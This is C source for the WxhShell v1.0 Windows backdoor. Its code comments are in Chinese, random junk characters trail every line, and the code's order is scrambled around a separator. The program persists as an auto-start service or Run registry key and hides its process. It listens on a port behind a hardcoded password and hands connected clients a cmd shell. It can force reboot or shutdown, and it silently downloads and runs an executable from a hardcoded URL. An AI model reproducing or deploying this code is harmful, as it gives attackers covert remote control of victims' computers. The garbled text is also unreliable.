    if(Boot(SHUTDOWN)) 5a=nF9/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .cw!ls7d  
    else { wXc,FD$  
    closesocket(wsh); ~?FK ; (  
    ExitThread(0); )-0[ra]  
    } eQ$N:]  
    break; ' 2>l  
    } 84iJ[Fq{  
  // 获取shell Z:I*y7V-  
  case 's': { }Q/G &F  
    CmdShell(wsh); :&Qb>PH[  
    closesocket(wsh); 'n~fR]h}  
    ExitThread(0); sS C?io  
    break; OI~}e,[2z  
  } ]}BB/KQy^  
  // 退出 Cf Qf7-  
  case 'x': { fH-NU-"  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); j h; 9 [  
    CloseIt(wsh); iPMB$SdfO  
    break; ,+~2&>wj  
    } hZ!oRWIU%G  
  // 离开 e&d3SQ%  
  case 'q': { E::L?#V  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); m])Lw@#9W  
    closesocket(wsh); jyNb(Z  
    WSACleanup(); ?#?e(mpo  
    exit(1); g<f P:/  
    break; p?Z(rCp  
        } 3f_i1|>)'  
  } / >%L[RJ4  
  } O4T'o.  
smV!y8&  
  // 提示信息 dY1J<L}")  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a IQOs  
} uii7b 7[w  
  } YZ0en1ly  
*yrnK3  
  return; y $:yz;  
} zEy&4Kl{+  
_Aa[?2 O  
// shell模块句柄 mn. `qfMh  
int CmdShell(SOCKET sock) HC J;&C73&  
{ p:B ]Ft  
STARTUPINFO si; ~u! gUJ:  
ZeroMemory(&si,sizeof(si)); j5zFDh1(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Z)NrhJC  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +i+tp8T+7  
PROCESS_INFORMATION ProcessInfo; k,T_e6(  
char cmdline[]="cmd"; |H:<:*=6c  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Te+^J8  
  return 0; H- 185]7  
} Yr+d1(  
q'.;W@m  
// 自身启动模式 ( ]OFS;%  
int StartFromService(void) ;J'OakeVO  
{ c )03Ms4 D  
typedef struct _D-5}a"  
{ 3g;T?E  
  DWORD ExitStatus; YX_vv!-]  
  DWORD PebBaseAddress; A]j}'  
  DWORD AffinityMask; u)7*Rj^  
  DWORD BasePriority; BH5w@  
  ULONG UniqueProcessId; H"O$&  
  ULONG InheritedFromUniqueProcessId; 85} ii{S  
}   PROCESS_BASIC_INFORMATION; Bq *[c=(2  
Q? qjWZY  
PROCNTQSIP NtQueryInformationProcess; xo(k?+P>.  
l2(.>-#  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; s{ =5-:  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +lKrj\Xj  
+5-]iKh  
  HANDLE             hProcess; XoJgs$3B  
  PROCESS_BASIC_INFORMATION pbi; 8^y=H=  
rhIGOk1k  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]/_G-2.R  
  if(NULL == hInst ) return 0; ~6kJ~R4  
r sLc&2F  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); W<Z$YWr  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); FZpsL-yx^N  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); E3f9<hm   
AVv#\JrRW  
  if (!NtQueryInformationProcess) return 0; -1CEr_(P^  
Y#`Lcg+r,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); awFhz 6   
  if(!hProcess) return 0; ?ql2wWsQO  
O ^0"  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Mb/L~gd"  
9Eg&CZ,9$D  
  CloseHandle(hProcess); JR)/c6j  
SF^x=[ir  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); xZyeX34{M;  
if(hProcess==NULL) return 0; /$Z m~Mp  
\6:>{0\  
HMODULE hMod; 2h<U  
char procName[255]; y@`~9$  
unsigned long cbNeeded; b_l3+'#ofM  
ESIzGaM  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); UWw}!1  
lbS?/f  
  CloseHandle(hProcess); e />:K' {  
qOi5WX6F/  
if(strstr(procName,"services")) return 1; // 以服务启动 /W`$yM3  
5%P[^}  
  return 0; // 注册表启动 E=k w)<X2  
} )v1CC..  
's.~$  
// 主模块 `NSy"6{Z  
int StartWxhshell(LPSTR lpCmdLine) %[ /<+  
{ f>z`i\1oO  
  SOCKET wsl; 5oJ Dux }  
BOOL val=TRUE; \?&A u  
  int port=0; V&[eSVY?  
  struct sockaddr_in door; 3Z1OX]R  
z]$>+MH_  
  if(wscfg.ws_autoins) Install(); ?'w sIH]m  
HIGNRm  
port=atoi(lpCmdLine); 30_ckMG"g  
|s f*hlrJ  
if(port<=0) port=wscfg.ws_port; |l7%l&!  
4P%m>[   
  WSADATA data; .*!#98pT  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9afh[3qm  
P"F{=\V1`<  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   jV^C19  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {6O0.}q]&  
  door.sin_family = AF_INET; )o jDRJ&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); XsUUJuCG  
  door.sin_port = htons(port); /.P9MSz0G  
2xn<E>]  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Pz@/|&]  
closesocket(wsl); `(DJs-xD  
return 1; MCU9O  
} Q0~j$Jc  
^.vmF>$+I  
  if(listen(wsl,2) == INVALID_SOCKET) { ZXt?[Ll  
closesocket(wsl); :}9j^}"c3  
return 1; /K|:9Q$K6  
} FZXyfZw!|  
  Wxhshell(wsl); `c(\i$1JY)  
  WSACleanup(); TJOvyz`t  
O@jqdJu  
return 0; S;=_;&68?  
1,`H:%z%  
} \A<v=VM|  
k)":v3 ^  
// 以NT服务方式启动 }1U*A#aN7K  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "K?Q  
{ 0pN{y}x,  
DWORD   status = 0; @B`Md3$7  
  DWORD   specificError = 0xfffffff; DZs^ 2Zc  
\H4U8)l  
  serviceStatus.dwServiceType     = SERVICE_WIN32; m<:IFx#  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; |pW\Ec#(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6Cc7ejt|u  
  serviceStatus.dwWin32ExitCode     = 0; +xj "hX>3  
  serviceStatus.dwServiceSpecificExitCode = 0; B4yh3cf  
  serviceStatus.dwCheckPoint       = 0; EGS%C%>l/o  
  serviceStatus.dwWaitHint       = 0; </s,pe79B  
U<Jt50O  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); tln1eN((q  
  if (hServiceStatusHandle==0) return; _%ZP{5D>  
;6m;M63z  
status = GetLastError(); >85zQ 1aL  
  if (status!=NO_ERROR) r{[OJc!  
{ 3t(c_:[%  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; }c|UX ZW  
    serviceStatus.dwCheckPoint       = 0; o8z)nOTO;  
    serviceStatus.dwWaitHint       = 0; EJm4xkYLj1  
    serviceStatus.dwWin32ExitCode     = status; 6G_<2bO  
    serviceStatus.dwServiceSpecificExitCode = specificError; L"vj0@n'0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); c tI{^f:  
    return; iiNSDc  
  } usOx=^?=  
U7H9/<&o  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; AyVrk 8G  
  serviceStatus.dwCheckPoint       = 0; !wh&>3~  
  serviceStatus.dwWaitHint       = 0; 'fY9a(Xt.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); HI!4  
} 9B/1*+ M  
Mqv[XHfB  
// 处理NT服务事件,比如:启动、停止 _x %1F  
VOID WINAPI NTServiceHandler(DWORD fdwControl) *Km7U-BG  
{ w>979g  
switch(fdwControl) '*R%^RK  
{ (-"`,8K 2}  
case SERVICE_CONTROL_STOP: pbn\9C/  
  serviceStatus.dwWin32ExitCode = 0; y=H@6$2EQ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; >n$ !<  
  serviceStatus.dwCheckPoint   = 0; IOEM[zhb$  
  serviceStatus.dwWaitHint     = 0; ;/sHWI f+Z  
  { ctJ&URCi#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -t3i^&fj8  
  } 3&*'6D Tg  
  return; tZho)[1  
case SERVICE_CONTROL_PAUSE: ]J@/p:S>  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {THqz$KN  
  break; 44-r\>  
case SERVICE_CONTROL_CONTINUE: rK|*hcy  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 6 hiC?2b{x  
  break; ;pZ[|  
case SERVICE_CONTROL_INTERROGATE: `&*bM0(J  
  break; :&yDqoQKJ  
}; FFzH!=7T?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); w*~Tm>U  
} E%3TP_B3  
$H*/;`,\[  
// 标准应用程序主函数 8^ #mvHah  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) T V:<TR  
{ tZ8e`r*  
>K:u ?YD[  
// 获取操作系统版本 fx?$9(r,  
OsIsNt=GetOsVer(); J8Z0D:5  
GetModuleFileName(NULL,ExeFile,MAX_PATH); HL8eD^  
%ROwr[Dj=  
  // 从命令行安装 @Icq1zb] y  
  if(strpbrk(lpCmdLine,"iI")) Install(); ISNcswN#  
a5?8QAO~r  
  // 下载执行文件 ,XB%\[pKe  
if(wscfg.ws_downexe) { Eipp ~GD  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?R'Y?b  
  WinExec(wscfg.ws_filenam,SW_HIDE); /QxlGfNZ  
} 4 I@p%g&  
V|FrN*m  
if(!OsIsNt) { (Hp'B))2  
// 如果时win9x,隐藏进程并且设置为注册表启动 FFcB54ALTf  
HideProc(); };katqzEg  
StartWxhshell(lpCmdLine); ht6244:  
} -9+se  
else 8Y{s;U0n  
  if(StartFromService()) K* vU5S  
  // 以服务方式启动 OAe#Wf!c  
  StartServiceCtrlDispatcher(DispatchTable); +%#8k9Y  
else 97`WMs  
  // 普通方式启动 6X_\Ve  
  StartWxhshell(lpCmdLine); +U8Bln  
H^AE|U*-G  
return 0; WES#ZYtT  
} 7y<1LQ;}  
:1aL ?  
8]"(!i_;)  
|a(fejO3  
=========================================== @,OT/egF4:  
b{cU<;G)y.  
(q;bg1\UK  
m $dV<  
^DAu5|--R  
`8g7q 5  
" WFv!Pbq,  
?J!3j{4e  
#include <stdio.h> p,!$/Q+l  
#include <string.h> m7jA ,~O  
#include <windows.h> @wN G  
#include <winsock2.h> c:hK$C)T  
#include <winsvc.h> vNDu9ovs-  
#include <urlmon.h> M {a #  
>lzA]aM$c  
#pragma comment (lib, "Ws2_32.lib") :0~QRc-u  
#pragma comment (lib, "urlmon.lib") 1=)r@X/6d  
T0QvnIaP  
#define MAX_USER   100 // 最大客户端连接数 F:g=i}7  
#define BUF_SOCK   200 // sock buffer TkRP3_b  
#define KEY_BUFF   255 // 输入 buffer v/QUjXBr  
&"E lm  
#define REBOOT     0   // 重启 `: |@Zln  
#define SHUTDOWN   1   // 关机 CboLH0Fa  
I -@?guZ r  
#define DEF_PORT   5000 // 监听端口 W6/ @W  
;y>a nE}n{  
#define REG_LEN     16   // 注册表键长度 #/-_1H  
#define SVC_LEN     80   // NT服务名长度 S-F o  
ig#r4nQ=  
// 从dll定义API 2& LQg=O  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); u?H 2%hD  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); g.DLfwI|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); a:Q[gF8>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); kdrod[S  
9<1F[SS<s9  
// wxhshell配置信息 fw-\|fP  
struct WSCFG { G=/k>@Di  
  int ws_port;         // 监听端口 </~ 6f(mg  
  char ws_passstr[REG_LEN]; // 口令 OM83S|1s  
  int ws_autoins;       // 安装标记, 1=yes 0=no 7=}F{U  
  char ws_regname[REG_LEN]; // 注册表键名 #2p#VQh  
  char ws_svcname[REG_LEN]; // 服务名 t%VDRZo7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 GF<[}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %5'6Tj  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 S33j?+ Vs  
int ws_downexe;       // 下载执行标记, 1=yes 0=no WrGK\Vw[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" +OaUP*\Dd  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _F(P*[[&  
:z"!kzdJ  
}; hwnJE958L  
3z =^(Y  
// default Wxhshell configuration vDj;>VE2b  
struct WSCFG wscfg={DEF_PORT, E#%}ZY  
    "xuhuanlingzhe", EMvHFu   
    1, )r6EW`$  
    "Wxhshell", ?8V UO x  
    "Wxhshell", 3c'#6virz  
            "WxhShell Service", ^q[gxuL_  
    "Wrsky Windows CmdShell Service", #CUz uk&  
    "Please Input Your Password: ", R[[ ,q:4  
  1, 7{kP}?  
  "http://www.wrsky.com/wxhshell.exe", B|=|.qp$)  
  "Wxhshell.exe" (U1]:tZ<.  
    }; /8ynvhF#  
,ZE?{G{tuj  
// 消息定义模块 ]1`g^Z@ 0  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; wD \ZOn_J  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 0DPxW8Y-`  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,I.WX,OR  
char *msg_ws_ext="\n\rExit."; ,?cH"@ RJ  
char *msg_ws_end="\n\rQuit."; U7$WiPTNL9  
char *msg_ws_boot="\n\rReboot..."; ;iYff N  
char *msg_ws_poff="\n\rShutdown..."; A&5:ATQ/|  
char *msg_ws_down="\n\rSave to "; kQ>^->w  
%8.J=B  
char *msg_ws_err="\n\rErr!"; C|-pD  
char *msg_ws_ok="\n\rOK!"; `8_z!)  
B}?IEpYp  
char ExeFile[MAX_PATH]; 63WS7s"  
int nUser = 0; i&Fiq&V)[  
HANDLE handles[MAX_USER]; T )~9Wac  
int OsIsNt; :\ QUs}  
N!&:rK  
SERVICE_STATUS       serviceStatus; T? ,P*l  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; /s:fW+C  
~g;   
// 函数声明 e( X|3h|  
int Install(void); 6i@\5}m=  
int Uninstall(void); VaONd0Z I  
int DownloadFile(char *sURL, SOCKET wsh); X|LxV]  
int Boot(int flag); R,2P3lv1v@  
void HideProc(void); W-~n|PX8+  
int GetOsVer(void); L5YnG_M&  
int Wxhshell(SOCKET wsl); ,FzeOSy'p  
void TalkWithClient(void *cs); .4y>QN#VL  
int CmdShell(SOCKET sock); tiPa6tQ  
int StartFromService(void); WCJxu}!  
int StartWxhshell(LPSTR lpCmdLine); $(pF;_W  
XM1`x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); o|pT;1a"  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); AV8T  
0U/,aHvhP  
// 数据结构和表定义 sM[I4 .A3  
SERVICE_TABLE_ENTRY DispatchTable[] = {svn=H /  
{ $ <8~k^  
{wscfg.ws_svcname, NTServiceMain}, F^$led1/F  
{NULL, NULL} QnouBrhO  
}; "6ECgyD+E!  
oEz%={f  
// 自我安装 ,Tagj`@bHc  
int Install(void) `?(Bt|<>  
{ SlLw{Yb7\.  
  char svExeFile[MAX_PATH]; ]q5`YB%_  
  HKEY key; 3 voT^o  
  strcpy(svExeFile,ExeFile); [P4$Khu$  
:wqC8&V  
// 如果是win9x系统,修改注册表设为自启动 r,P1^uHx  
if(!OsIsNt) { b^c9po  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { HL3XyP7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rZPT89M6  
  RegCloseKey(key); 7IlOG~DC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r\6"5cQ=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q:C$&-$  
  RegCloseKey(key); &ZHC-qMRK  
  return 0; g.JN_t5  
    } /.Nov  
  } cXMhq<GkAA  
} f;SC{2f  
else { IxR?'  
hG~reVNf  
// 如果是NT以上系统,安装为系统服务 XZNY4/ 25G  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2f`nMW  
if (schSCManager!=0) 5v)(8|.M  
{ h4pTq[4*  
  SC_HANDLE schService = CreateService q_W0/Ki8  
  ( 5BkV aF7Th  
  schSCManager, . v@>JZC  
  wscfg.ws_svcname, 5F|8?BkOL^  
  wscfg.ws_svcdisp, x_!0.SU  
  SERVICE_ALL_ACCESS, y;?ie]3G  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Q^K"8 ;  
  SERVICE_AUTO_START, L%}zVCg  
  SERVICE_ERROR_NORMAL, P|2E2=G  
  svExeFile, 2O"P2(1}v  
  NULL, ~n')&u{  
  NULL, raVA?|'g~  
  NULL, e pCLM_yA  
  NULL, w=h1pwY  
  NULL Z}A%=Z\/3  
  ); ./j,Z$|  
  if (schService!=0) ZlYPoOq  
  { ;|p$\26S)%  
  CloseServiceHandle(schService); l+][V'zL  
  CloseServiceHandle(schSCManager); dm "n%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :!;'J/B@..  
  strcat(svExeFile,wscfg.ws_svcname); )Dp/('Z2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { l&VjUPz_  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,6 !rR,0  
  RegCloseKey(key); :M{Y,~cP  
  return 0; oBq 49u1  
    } `u!l3VZ/4  
  } @=]~\[e\  
  CloseServiceHandle(schSCManager); V~ ~=Qp+.  
} aKUS5jDu  
} +t4BQf  
&Lt[WT$  
return 1; 3bqC\i^[\m  
} MF6 0-VE  
*?+V65~dW  
// 自我卸载 9%ii '{  
int Uninstall(void) <D&)OxEn\  
{ LN l#h  
  HKEY key; TvNY:m6.%  
MC 0TaP  
if(!OsIsNt) { rPc7(,o*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]Q "p\@\!  
  RegDeleteValue(key,wscfg.ws_regname); =z{JgD/  
  RegCloseKey(key); :{'k@J"| a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \ 6EKgC1  
  RegDeleteValue(key,wscfg.ws_regname); $qF0ltUQ  
  RegCloseKey(key); 6*l^1;U  
  return 0; M L7 \BT  
  } &bgvy'p  
} v{i7h|e  
} 5!C_X5M  
else { x 5dWBGH  
}7{t^>;D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); '`Bm'Dd  
if (schSCManager!=0) SxyONp.$\  
{ T{]~07N?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); I fO;S*Qt  
  if (schService!=0) ^ yh'lh/  
  { xX0-]Y h:  
  if(DeleteService(schService)!=0) { 2;L|y._`w  
  CloseServiceHandle(schService); 7z\m; 1  
  CloseServiceHandle(schSCManager); 5_0(D;Q  
  return 0; oIGrA-T}  
  } %or,{mmiM:  
  CloseServiceHandle(schService); !KKT[28v  
  } p3ISWJa!  
  CloseServiceHandle(schSCManager); M >:]lpRK  
} Sj'ht=  
} KPSh#x&I  
RjJU4q  
return 1; lcON+j  
} B) $c|dUV  
. .QB~  
// 从指定url下载文件 0s#vwK13  
int DownloadFile(char *sURL, SOCKET wsh) ,3v+PIcMM+  
{ g#NZ ,~  
  HRESULT hr; 0Q"u#V Sp  
char seps[]= "/"; rI5F oh6  
char *token; w.Ezg j  
char *file; K\[!SXg@  
char myURL[MAX_PATH]; )PkNWj6%y  
char myFILE[MAX_PATH]; 3qHQX?a  
|6J ?8y  
strcpy(myURL,sURL); oq-<ob  
  token=strtok(myURL,seps); #5sD{:f`  
  while(token!=NULL) k)S.]!u&G  
  { 3`hUo5K  
    file=token; 8T;IZ(s  
  token=strtok(NULL,seps); [MX;,%;;  
  } {v aaFs  
L+B?~_*  
GetCurrentDirectory(MAX_PATH,myFILE); m,3er*t{  
strcat(myFILE, "\\"); {-9jm%N  
strcat(myFILE, file); _ |<d5TI  
  send(wsh,myFILE,strlen(myFILE),0); "%WgT2)m.  
send(wsh,"...",3,0); j$fAq\B  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \u`)kJ5o1  
  if(hr==S_OK) LW#M@  
return 0; :&}odx!-!C  
else vv6$>SU  
return 1; +y[@T6_  
kI*(V [i  
} F}Mhs17!|  
L;_c|\%  
// 系统电源模块 Hx^!:kxk  
int Boot(int flag) >YW\~T  
{ F9c`({6k  
  HANDLE hToken; s*M@%_A?  
  TOKEN_PRIVILEGES tkp; Q^}%c U0  
z `8cOK-  
  if(OsIsNt) { RKd  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); GYRYbiwqdi  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); BOlAm*tFt  
    tkp.PrivilegeCount = 1; lw8"'0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; t$& Qv)  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); <dA8 '7^  
if(flag==REBOOT) { NCeaL-y7  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;SwC&.I  
  return 0; |wxGpBau  
} [y) Fc IK}  
else { V BoMT:#  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]7sx;KFv  
  return 0; ~%w~-O2  
} \ v@({nB8  
  } P sjbR  
  else { BJjx|VA+  
if(flag==REBOOT) { Ar9nBJ`  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) uE_c4Hp  
  return 0; T*2C_oW  
} zbw7U'jk  
else { t *6loS0+  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /  YiQ\  
  return 0; qX:B4,|ck  
} 8``;0}'PC  
} `qpc*enf0  
 GrJ#.  
return 1; Q}%tt=KD  
} O0l^*nZ46t  
 {E9v`u\  
// win9x进程隐藏模块 j28_Hh T  
void HideProc(void) i`U: gw  
{ f*((;*n ;  
O_@2;iD^^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); V}8$p8#<@  
  if ( hKernel != NULL ) Go\VfLLw  
  { g9tu %cIkR  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); M.%shrJ/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 85U.wpG  
    FreeLibrary(hKernel); AMlV%U#  
  } @Z(rgF{{  
O;XG^s@5  
return; 6k0^x Q  
} HQVh+(  
.CV _\  
// 获取操作系统版本 i S p  
int GetOsVer(void) )na&" bJ  
{ D!> d0k,Y  
  OSVERSIONINFO winfo; 97~K!'/^+y  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9Ld9N;rWm#  
  GetVersionEx(&winfo); H3FW52pjX  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) )@7DsV/M  
  return 1; : iCM=k  
  else *K!++k!Ixa  
  return 0; zhEo(kU!  
} <! x+e E`  
vE\lp8j+  
// 客户端句柄模块 q^Tis>*u6  
int Wxhshell(SOCKET wsl) Df=q-iq<{/  
{ Y(i?M~3\t  
  SOCKET wsh; z]#hWfM4B:  
  struct sockaddr_in client; n.$(}A  
  DWORD myID; Q7Ij4  
ia{kab|_5  
  while(nUser<MAX_USER) (aKZ5>>cN  
{ %xg"Q |  
  int nSize=sizeof(client); T%I&txl  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); X , ZeD  
  if(wsh==INVALID_SOCKET) return 1; b~Z=:'m8  
W cGXp$M  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); gg]~2f  
if(handles[nUser]==0) TbNGgjT  
  closesocket(wsh); 960qvz!  
else !WKk=ysFS  
  nUser++; 4;<DJ.XlN=  
  } Yo2Trh  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *8\(FVyG^  
J?jeYW   
  return 0; b=LF%P  
} g _ M-F  
'Z7P  
// 关闭 socket 0|C[-ppr  
void CloseIt(SOCKET wsh) /yYlu  
{ gMZ&,n4  
closesocket(wsh); T T"3^@  
nUser--; 2V$9ei6  
ExitThread(0); _i@x@:_l  
} )BLmoJOf  
eTZ`q_LfI1  
// 客户端请求句柄 wo(j}O-  
void TalkWithClient(void *cs) |h,FUj<r  
{ AQ}l%  
"k>bUe|RG  
  SOCKET wsh=(SOCKET)cs; *|'}v[{v^9  
  char pwd[SVC_LEN]; d| \#?W&  
  char cmd[KEY_BUFF]; dofR)"<p,^  
char chr[1]; 7SHo%b A  
int i,j; c~oe, 9  
Qa?Q bHc  
  while (nUser < MAX_USER) { UCF[oO>v  
)/TVJAJ  
if(wscfg.ws_passstr) { we a\8[U3"  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6QptKXu7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); APuu_!ez1  
  //ZeroMemory(pwd,KEY_BUFF); *2:Yf7rvI+  
      i=0; \[E-:  
  while(i<SVC_LEN) { 4H9xO[iM  
ST4(|K  
  // 设置超时 )fR1n}#  
  fd_set FdRead; PDZ)*$EE  
  struct timeval TimeOut; m2MPWy5s  
  FD_ZERO(&FdRead); Y;PDZb K3  
  FD_SET(wsh,&FdRead); s.e y!ew  
  TimeOut.tv_sec=8; k`Y,KuBpM  
  TimeOut.tv_usec=0; =z%s8D2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); :O#gJob-%s  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3DHvaq q7  
lMPbLF%_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pb= HVjW<  
  pwd=chr[0]; T/3;NXe6E  
  if(chr[0]==0xd || chr[0]==0xa) { Xa6qvg7/  
  pwd=0; ,XP@ pi  
  break; {B v`i8e  
  } rr6"Y&v  
  i++; ri;r7Y9V9`  
    } IT7:QEfKU  
2f /bEpi  
  // 如果是非法用户,关闭 socket M{y|7e%K  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); akY6D]M  
} JG1LS$p^  
8^NE=)cb7w  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); m';|}z'  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); aGe\.A=  
@u7%B}q7:  
while(1) { 5"]aZMua  
RH1U_gp4 ]  
  ZeroMemory(cmd,KEY_BUFF); LE Jlo%M  
EzwF`3RjK  
      // 自动支持客户端 telnet标准   ]lC4+{V  
  j=0; 7jD@Gp`" 3  
  while(j<KEY_BUFF) { zh?xIpY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VdYOm  
  cmd[j]=chr[0]; .jy)>"h0  
  if(chr[0]==0xa || chr[0]==0xd) { FxMMxY,*%  
  cmd[j]=0; ` C/fF_YA  
  break; d u _O}x  
  } LjX&' ,  
  j++; 4_Tb)?L+:  
    } Cf.WO%?P  
:Fq2x_IUE  
  // 下载文件 +lW+H12  
  if(strstr(cmd,"http://")) { \Gv-sA  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); qsQ]M^@>  
  if(DownloadFile(cmd,wsh)) U Ek |8yq  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); D]3bwoFo&u  
  else &FT5w T  
